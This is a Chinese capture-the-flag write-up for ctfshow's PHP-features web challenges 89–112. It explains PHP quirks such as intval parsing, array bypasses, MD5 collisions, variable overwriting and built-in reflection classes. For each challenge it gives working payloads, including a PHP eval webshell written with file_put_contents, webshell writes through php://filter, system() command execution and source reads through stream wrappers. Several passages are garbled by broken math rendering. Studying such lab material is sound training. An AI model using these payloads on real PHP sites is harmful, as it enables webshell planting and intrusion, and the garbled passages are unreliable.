Ctfshow web入门 PHP特性篇 web89-web151 全(一)

简介: Ctfshow web入门 PHP特性篇 web89-web151 全(一)

web入门 PHP特性篇的wp都一把梭哈在这里啦~

有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭…

有错误敬请斧正!

CTFshow PHP web89

看题目,有个flag.php文件。题目要求get有个num,是数字但是不包含0-9。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1 。 故此传入?num[]=1,产生错误返回1。 并且preg_math()传入数组参数也会直接返回0

preg_math()传入数组参数也会直接返回0

这边顺带提一下:有时候sql的注入点为.php?id=1,如果修改为.php?id[]=2页面和之前一样,则大概率后台是: i d = i n t v a l ( id=intval(id=intval(_GET[‘id’]);有时候加上单引号后页面不变化也是因为这个原因,这就很难逃逸了。

CTFshow PHP web90

先看题目,要求get一个num,值不等于4476并且intval之后等于4476

首先可以利用弱比较,?num=4476a不满足===,并且intval之后为4476

也可以/?num=4476.1

还可以/?num=0x117c

说明一下intval()函数性质:

①intval():可以获取变量的整数值

②int intval ( mixed var[,intvar [, int base = 10 ] )

参数说明:

$var:要转换成 integer 的数量值。

$base:转化所使用的进制。

如果 base为空,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
  • 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
  • 否则,将使用 10 进制 (decimal)。

CTFshow PHP web91

先解释一下 preg_match(‘/^php/im′,a)和pregmatch(′/phpa)/i表示匹配大小写,/m表示多行匹配,"行首"元字符()仅匹配字符串的开始位置∗∗,∗∗而"行末"元字符(/im’, a ) 和 p r e g m a t c h ( ′ / p h p a)/i表示匹配大小写,/m表示多行匹配 , "行首"元字符 (^) 仅匹配字符串的开始位置**, **而"行末"元字符 () 仅匹配字符串末尾,字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true 。

是要求我们多行匹配到php但是单行匹配不到php。

payload:?cmd=%0aphp // %0a表示换行符

CTFshow PHP web92

int intval ( mixed var[,intvar [, int base = 10 ] ) 参数说明:

var:要转换成integer的数量值。var:要转换成 integer 的数量值。 base:转化所使用的进制。

如果 base为空,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
  • 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
  • 否则,将使用 10 进制 (decimal)。

根据这个性质可以构造payload:

?num= 0x117c

或者

intval()中有一个特性,其中若传入1e4,准确的值为10000,但是经过intval(‘1e4’)后,输出的值为1

根据这个性质可以构造payload:

?num=4476e1

CTFshow PHP web93

先看题目,num不能有字母,然后满足两个条件。所以不能用科学计数法了。

int intval ( mixed var[,intvar [, int base = 10 ] )

参数说明:

$var:要转换成 integer 的数量值。

$base:转化所使用的进制。

如果 base为空,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
  • 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
  • 否则,将使用 10 进制 (decimal)。

例子:intval($NSScTf, 0) === 114514

通过十六进制的0x1BF52以及八进制的0337522都可以绕过

payload:

?num=010574   //八进制
?num=4476.123   //取整

CTFshow PHP web94

先看题目,多了一个 !strpos($num, “0”) , strpos() 函数查找字符串在另一字符串中第一次出现的位置 ,这里要求是第一个字符不是0,其他和上题一样,可用4476.0绕过,或者在八进制前面加空格,或者 ?num=+4476 。

  • strpos() -函数查找字符串在另一字符串中第一次出现的位置。
  • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

payload:

?num=4476.0
?num= 010574
?num=+4476.0

CTFshow PHP web95

先看题目,和上题相比过滤了小数点,第一个强比较换成了弱比较(==)。

payload:

?num= 010574
?num=+010574

CTFshow PHP web96

先看题目,要求u不弱等于flag.php,然后高亮u。可以推断出,flag在当前目录下的flag.php文件中。

payload:

?u=../html/flag.php
?u=./flag.php   //相对路径,  ./表示在当前目录下
?u=php://filter/convert.base64-encode/resource=flag.php   //伪协议
?u=php://filter/resource=flag.php   //伪协议
?u=/var/www/html/flag.php  //绝对路径

CTFshow PHP web97

先看题目,要求我们POST两个东西,MD5强相等。

payload:

a[]=17&b[]=17  //数组
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
//强碰撞

CTFshow PHP web98

考察PHP三元运算符,开局给源码

分析代码

<?php
include("flag.php");
//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
$_GET?$_GET=&$_POST:'flag';         

//没有用
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

//如果get进来的HTTP_FLAG值是flag,那么输出$flag,要不然输源码
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了

payload

?HTTP_FLAG=随便输         //GET
HTTP_FLAG=flag           //POST

CTFshow PHP web99

先看题目,

$allow = array(); //把allow变量设置为数组。

  • array_push() - 向数组尾部插入一个或多个元素。
  • in_array() - 搜索数组中是否存在指定的值。函数有缺陷,若没有设置第三个参数,则存在强制转换(类比==)比如数组allow含有1,inarray(1.php,allow含有1,in_array(1.php, allow)为真。

引用一下羽师傅的文章

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false   //in_array延用了php中的==

file_put_contents(文件名,写入的数据,mode,context)

payload:

?n=1.php   //GET,随机数插入数组,1-36(1.php-36.php)的可能性最大,如果不成功多试几次。
content=<?php eval($_POST[jay17]);?>   //POST,也可以直接写命令RCE

CTFshow PHP web100

开题给源码。

很多师傅像我当时一样,看到下面这一句就不会了。认为v1、v2、v3都得是数字。

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

这里考察了=和and的优先级,&&>||>=>and>or

所以只需要v1是数字就行了。

接下来两个正则表达式要求v2没有分号,v3有分号。

if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

payload如下:

?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;     //利用注释
?v1=1&v2=system('tac ctfshow.php')&v3=;         //直接打也行
?v1=1&v2=echo new ReflectionClass&v3=;          //使用反射类直接输出class ctfshow的信息
?v1=1&v2=var_dump($ctfshow)&v3=;                //因为这个flag在ctfshow这个类中,直接打印变量

$flag_is_25bad9b00x2d9c110x2d48a80x2daa270x2d1771e2404db9

25bad9b00x2d9c110x2d48a80x2daa270x2d1771e2404db9把0x2d转化为-,再包上ctfshow。

CTFshow PHP web101

开题给源码


滤比上一题严了

payload:(只有一个能用)

?v1=1&v2=echo new ReflectionClass&v3=;          //使用反射类直接输出class ctfshow的信息

CTFshow PHP web102

开题直接给源码

函数解析:

substr():返回字符串的子串,题中意思是返回v2字符串第2位开始的字串

call_user_func():把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。


file_put_contents(): 将一个字符串(s t r )写入文件( str)写入文件(str)写入文件(v3)

由此我们可以构造payload:

?v2=0x3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e&v3=x.php       //GET

v1=hex2bin                          //POST


hex2bin:参数只有一个,将传入的参数(16进制转换为ascii字符)

hex2bin(3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e)

就是一句话

但是有个什么问题:

var_dump(is_numeric("0x66"));// 在php5中返回值为true
var_dump(is_numeric("0x66"));// 在php7中返回值为false

但是本题的环境是php7

所以换一种方法

利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。

大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

payload:(v2前两个1只是为了占位)

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php                 //GET
//str=PD89YGNhdCAqYDs(<?=`cat *`;   的base64编码)
v1=hex2bin                           //POST

然后访问x.php去触发就可以了

CTFshow PHP web103

直接给了源码

和上一题相比,加了一段过滤代码

if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }

我寻思着,之前的payload也没字符串"php"啊。

所以payload不变:

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php                 //GET
//str=PD89YGNhdCAqYDs(<?=`cat *`;   的base64编码)
v1=hex2bin                           //POST

CTFshow PHP web104

直接给了源码

if(sha1(v1)==sha1(v1)==sha1(v2))判断过了就给flag

sha1和MD5一样可以数组绕过

payload:

?v2[]=1                  //GET
v1[]=2                //POST

也可以弱碰撞

aaK1STfY
//0e76658526655756207688271159624026011393

aaO8zKZF
//0e89257456677279068558073954252716165668

CTFshow PHP web105

源码直接给了

GET的变量名字不能等于error,POST的变量值不能等于flag

这题的考点是PHP变量覆盖。

方法一:

用die($error);输出flag

此时,POST进来的flag变量值不等于flag。

payload:

?suces=flag       //GET
error=suces       //POST

方法二:

用die($suces);输出flag

要是不在die(error);终止,那么POST进来的flag一定等于error);终止,那么POST进来的flag一定等于flag

我们做不到直接知道flag是多少,POST一个flag=ctfshow{什么什么}

由于变量覆盖,我们可以GET一个flag= 把程序中的$flag变量赋值为空

payload:

?suces=flag&flag=       //GET
//啥都不POST

或者

?suces=flag&flag=       //GET
flag=                   //POST

此时用die($suces);输出flag


不可能方法:

如果只用echo "your are good".$flag输出flag,不可能

因为这种方法我不能动f l a g 的值,根据方法二,我过不了 ‘ d i e ( flag的值,根据方法二,我过不了`die(flag的值,根据方法二,我过不了‘die(error)`语句。

CTFshow PHP web106

web104的payload直接打

CTFshow PHP web107

parse_str():

parse_str()名称改写

题目要我们POST一个v1,GET一个v3

核心思想我们用0e绕过

payload:

?v3=s878926199a      //GET
v1=flag=0            //POST 
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

有个师傅的payload我属实看不懂:

?v3[]=1           //GET
v1[]=2            //POST

CTFshow PHP web108

ereg():正则表达式匹配

strrev():反转字符串

intval():获取变量的整数值

ereg (“1+”,”, _GET[‘c’])匹配只包含字母(大小写)的字符串

36d的十六进制是877

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

?c=a%00778

CTFshow PHP web109

preg_match('/[a-zA-Z]+/', v1) && preg_match('/[a-zA-Z]+/',v1) && preg_match('/[a-zA-Z]+/',v1) && preg_match('/[a-zA-Z]+/', v2)

v1和v2只要有字母就行。

eval("echo new v1(v1(v2());")

这里new了一个什么什么,很容易往类这方面想。这道题用到了


Exception:所有异常的基类

CachingIterator:此对象支持在另一个迭代器上进行缓存迭代

ReflectionClass:反射类。


ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作。


反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令


当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示。也有师傅的博客说是因为echo触发了类中__toString()魔术方法。

即使传入了空的括号system(),代码依旧可以运行,且error_reporting(0)的存在阻止了报错。

payload:

?v1=Exception&v2=system('tac fl36dg.txt') 
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
?v1=CachingIterator&v2=system('tac fl36dg.txt')

【存疑】 这几个类下次还得细细学一下

CTFshow PHP web110

和上一题差不多,但是正则匹配换了一下。

preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)

""\\\\"表示匹配一个"\"

正则表达式表示v1和v2必须包含这些符号。带入程序则是,v1、v2不能包含这些符号,否则die出程序。所以我们要RCE,v1、v2只能全是字母。

之前的payload用不了了,但是可以用之前的payload查看phpinfo

?v1=Exception&v2=phpinfo

这题的考点:php内置类

DirectoryInterator:遍历目录的类

FilesystemIterator:遍历文件的类

getcwd():函数取得当前工作目录

getcwd():函数取得当前工作目录

payload:

?v1=FilesystemIterator&v2=getcwd

得到当前目录的第一个文件名字:fl36dga.txt,然后直接访问。

缺陷:只能获取第一个文件名字,但是题目中正好只要第一个文件的名字就够了。

CTFshow PHP web111

正则匹配过滤和上题一样。但是v1还需要包含"ctfshow"字符串。

分析一下题中getFlag()函数的作用:

//取v1和v2的地址(传址引用),所以函数内部对参数的修改会影响到外部变量
function getFlag(&$v1,&$v2){      
    // $v1 和 $v2 的值作为变量名进行间接引用,变量v2将地址传给了变量v1,即两个变量指向同一个地址。
    eval("$$v1 = &$$v2;");       
    //用于打印变量的详细信息
    var_dump($$v1);
}


考点:php超全局变量$GLOBALS


$GLOBALS:引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。


可看到题中有include("flag.php");,猜测flag.php中有变量存储了flag。


因为最后var_dump($$v1);会把变量

v 1 打印出来,让变量 v1打印出来,让变量

v1打印出来,让变量

v1指向flag.php中存储了flag的变量我们就能获得flag。但是我们并不知道存储了flag的变量的名称,所以我们这里的目标是获得所有的变量,即全局变量$GLOBALS。


所以我们的目的是var_dump(G L O B A L S ) ,倒推一下, ‘ e v a l ( " GLOBALS),倒推一下,`eval("GLOBALS),倒推一下,‘eval("KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲v 2 ; " ) ; ‘ 这里,我们传参要使得这句语句变成 ‘ e v a l ( " v2;");`这里,我们传参要使得这句语句变成`eval("v2;");‘这里,我们传参要使得这句语句变成‘eval("KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲GLOBALS;");`。


所以我们传入的v2=GLOBALS。

v1只要包含"ctfshow"字符串就行了。

payload:

?v1=xxxctfshowxxx&v2=GLOBALS

CTFshow PHP web112

分析一下代码:

function filter($file){
//满足正则就die出,不满足正则原样输出
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}

//GET传参进来一个file变量
$file=$_GET['file'];
//函数检查指定的文件名是否是正常的文件。判断file变量的类型是不是文件
if(! is_file($file)){
    //高亮显示file变量的值对应的那个文件
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

看他的正则过滤就知道了需要用伪协议。伪协议不影响file_get_contents,和highlight_file。

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。

data、input伪协议被过滤,那么还剩下php://filter和file:// 伪协议

rot13、base64、string字符串被过滤,那么php://filter伪协议还剩下这些过滤器:

也可以直接用不带任何过滤器的filter伪协议

?file=php://filter/resource=flag.php

也可以读取压缩流

?file=compress.zlib://flag.php

进一步学习:可以查看一下php手册学习一个各个协议。

引用一下大佬博客:(5条消息) ctfshow学习记录-web入门(php特性109-115&123&125-126)_ctfshow web125_九枕的博客-CSDN博客

file协议不能绕过is_file的判断。
http协议需要公网ip。
glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。


Ctfshow web入门 PHP特性篇 web89-web151 全(二):https://developer.aliyun.com/article/1585258

目录
相关文章
|
6天前
|
Java API 数据库
构建RESTful API已经成为现代Web开发的标准做法之一。Spring Boot框架因其简洁的配置、快速的启动特性及丰富的功能集而备受开发者青睐。
【10月更文挑战第11天】本文介绍如何使用Spring Boot构建在线图书管理系统的RESTful API。通过创建Spring Boot项目,定义`Book`实体类、`BookRepository`接口和`BookService`服务类,最后实现`BookController`控制器来处理HTTP请求,展示了从基础环境搭建到API测试的完整过程。
21 4
|
8天前
|
前端开发 JavaScript 开发者
探索现代Web前端技术:React框架入门
【10月更文挑战第9天】 探索现代Web前端技术:React框架入门
|
12天前
|
安全 编译器 API
探索PHP 8的新特性及其对现代Web开发的影响
【10月更文挑战第5天】随着PHP 8的发布,这门历史悠久的脚本语言重获新生。PHP 8引入了联合类型、命名参数、属性、空安全运算符及JIT编译器等一系列新特性,不仅提升了开发者的编程体验,还增强了PHP在现代Web开发领域的竞争力。本文将详细介绍这些新特性及其对Web开发的影响。例如,联合类型允许函数参数接受多种类型,提高代码灵活性;命名参数则使函数调用更加直观易懂;属性可用于装饰类、方法等,提供额外信息;空安全运算符避免了访问未定义属性时的错误;JIT编译器则显著提升了性能。这些改进共同提升了代码质量和开发效率,巩固了PHP在Web开发中的地位。
17 4
|
5天前
|
网络协议 安全 JavaScript
Web实时通信的学习之旅:WebSocket入门指南及示例演示
Web实时通信的学习之旅:WebSocket入门指南及示例演示
30 0
|
6天前
|
Web App开发 Java 测试技术
一、自动化:web自动化。Selenium 入门指南:从安装到实践
一、自动化:web自动化。Selenium 入门指南:从安装到实践
15 0
|
6天前
|
安全 编译器 API
探索PHP 8的新特性及其对现代Web开发的影响
探索PHP 8的新特性及其对现代Web开发的影响
9 0
|
8天前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
46 3
|
14天前
|
设计模式 测试技术 持续交付
开发复杂Web应用程序
【10月更文挑战第3天】开发复杂Web应用程序
28 2
|
16天前
|
Java PHP
PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。理解其垃圾回收机制有助于开发高效稳定的PHP应用。
【10月更文挑战第1天】PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。其垃圾回收机制包括引用计数与循环垃圾回收,对提升应用性能和稳定性至关重要。本文通过具体案例分析,详细探讨PHP垃圾回收机制的工作原理,特别是如何解决循环引用问题。在PHP 8中,垃圾回收机制得到进一步优化,提高了效率和准确性。理解这些机制有助于开发高效稳定的PHP应用。
35 3
|
1月前
|
数据可视化 图形学 UED
只需四步,轻松开发三维模型Web应用
为了让用户更方便地应用三维模型,阿里云DataV提供了一套完整的三维模型Web模型开发方案,包括三维模型托管、应用开发、交互开发、应用分发等完整功能。只需69.3元/年,就能体验三维模型Web应用开发功能!
221 8
只需四步,轻松开发三维模型Web应用